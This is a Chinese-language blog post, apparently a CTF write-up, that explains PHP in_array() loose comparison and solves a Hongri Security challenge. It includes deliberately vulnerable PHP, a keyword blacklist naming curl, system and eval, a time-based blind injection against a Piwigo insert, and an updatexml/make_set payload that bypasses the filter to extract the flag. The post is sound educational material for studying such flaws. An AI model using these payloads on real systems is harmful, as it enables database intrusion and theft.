今天12月24日你们是不是在外面HAPPY,狂欢?

可怜的我只有在家看看代码狂欢哈。

首先介绍下in_array()
in_array :(PHP 4, PHP 5, PHP 7)
检查数组中是否存在某个值
bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )
检查$needle 是否在$haystack中 当$stric=FALSE时 为弱比较.
比如

<?php
$rate =$_POST['rate'];
$conf['$rate_items'] = array(0,1,2,3,4,5,6,7);
if(!isset($rate) or !$conf['rate'] or !in_array($rate,$conf['rate_items']))
{
    return false;
}
$query='INSERT INTO'.RATE_TABLE.'(user_id,anonymous_id,element_id,rate,date) VALUES ('.$user['id'].','.'\''.$anonymous_id.'\','.$image_id.','.$rate.',NOW());';
pwg_query($query);
?>

当in_array()的第三个参数为缺省值的时候默认为FALSE会把1 and 因为是弱转换所以会把1 and转换为1,所以能绕过一些逻辑.
比如上面的代码就可以直接然后if的逻辑直接进入下面的insert into 重而导致注入

INSERT INTO piwigo_rate (user_id,anonymous_id,element_id,rate,date) VALUES (2,'192.168.2',1,1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));#,NOW()) ;

下面看看一道题目吧 来自红日安全有2个文件 分别为index.php和config.php

//index.php
<?php
include 'config.php';
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
    die("连接失败: ");
}

$sql = "SELECT COUNT(*) FROM users";
$whitelist = array();
$result = $conn->query($sql);
if($result->num_rows > 0){
    $row = $result->fetch_assoc();
    $whitelist = range(1, $row['COUNT(*)']);
}

$id = stop_hack($_GET['id']);
$sql = "SELECT * FROM users WHERE id=$id";

if (!in_array($id, $whitelist)) {
    die("id $id is not in whitelist.");
}

$result = $conn->query($sql);
if($result->num_rows > 0){
    $row = $result->fetch_assoc();
    echo "<center><table border='1'>";
    foreach ($row as $key => $value) {
        echo "<tr><td><center>$key</center></td><br>";
        echo "<td><center>$value</center></td></tr><br>";
    }
    echo "</table></center>";
}
else{
    die($conn->error);
}

?>
//config.php

    <?php  
    $servername = "localhost";
    $username = "root";
    $password = "123456";
    $dbname = "day1";
    
    function stop_hack($value){
        $pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
        $back_list = explode("|",$pattern);
        foreach($back_list as $hack){
            if(preg_match("/$hack/i", $value))
                die("$hack detected!");
        }
        return $value;
    }
    ?>
    //sql语句
    # 搭建CTF环境使用的sql语句
    create database day1;
    use day1;
    create table users (
    id int(6) unsigned auto_increment primary key,
    name varchar(20) not null,
    email varchar(30) not null,
    salary int(8) unsigned not null );
    
    INSERT INTO users VALUES(1,'Lucia','Lucia@hongri.com',3000);
    INSERT INTO users VALUES(2,'Danny','Danny@hongri.com',4500);
    INSERT INTO users VALUES(3,'Alina','Alina@hongri.com',2700);
    INSERT INTO users VALUES(4,'Jameson','Jameson@hongri.com',10000);
    INSERT INTO users VALUES(5,'Allie','Allie@hongri.com',6000);
    
    create table flag(flag varchar(30) not null);
    INSERT INTO flag VALUES('HRCTF{1n0rrY_i3_Vu1n3rab13}');

我们来看看index.php吧

//index.php
<?php
include 'config.php';
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
    die("连接失败: ");
}

$sql = "SELECT COUNT(*) FROM users";
$whitelist = array();
$result = $conn->query($sql);
if($result->num_rows > 0){
    $row = $result->fetch_assoc();
    $whitelist = range(1, $row['COUNT(*)']);//生成一个1到返回查询数的随机数。我们就取1吧,这步满足后就到下面了
}

$id = stop_hack($_GET['id']);//就到这里,这里有个过滤函数
//insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|
//union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval 然后执行下面的语句
$sql = "SELECT * FROM users WHERE id=$id";

if (!in_array($id, $whitelist)) {
    die("id $id is not in whitelist.");//前面知识已经对in_array函数介绍过了,第三个参数为假的就是弱比较.
}

$result = $conn->query($sql);
if($result->num_rows > 0){
    $row = $result->fetch_assoc();
    echo "<center><table border='1'>";
    foreach ($row as $key => $value) {
        echo "<tr><td><center>$key</center></td><br>";
        echo "<td><center>$value</center></td></tr><br>";
    }
    echo "</table></center>";
}
else{
    die($conn->error);
}

?>

现在说白了 只要绕过WAF就OK,一看当时就傻眼了,这个过滤得太厉害了吧.基本都过滤完了,还好有3个关键字可以用 select,updatexml,and.能用
and 1=(updatexml(1,concat(0x3a,(select user())),1)) 常规得语句
但是里面得concat被过滤了
我们可以使用make_set()函数来代替
and (select updatexml(1,make_set(15,'~',(select flag from flag)),1))

make_set()语句有两个参数 第一个为bits 最后会转换为2进制然后在倒叙.第二个参数为需要显示得str.
上面得意思就是15 的二进制为1 1 1 1 所以就是显示全部。
然后通过updatexml报错爆出来
当然我们上面只有2个字符串需要显示出来的 分别为 ~ 和 select flag from flag 所以只要 4位的二进制 前2位为1都可以报错成功的
所以分别为 0 1 1 1 ->7 0 0 1 1->3

微信截图_20191224204817.png

微信截图_20191224205022.png

微信截图_20191224205035.png

最后祝大家圣诞节快乐 by Eas0n

preView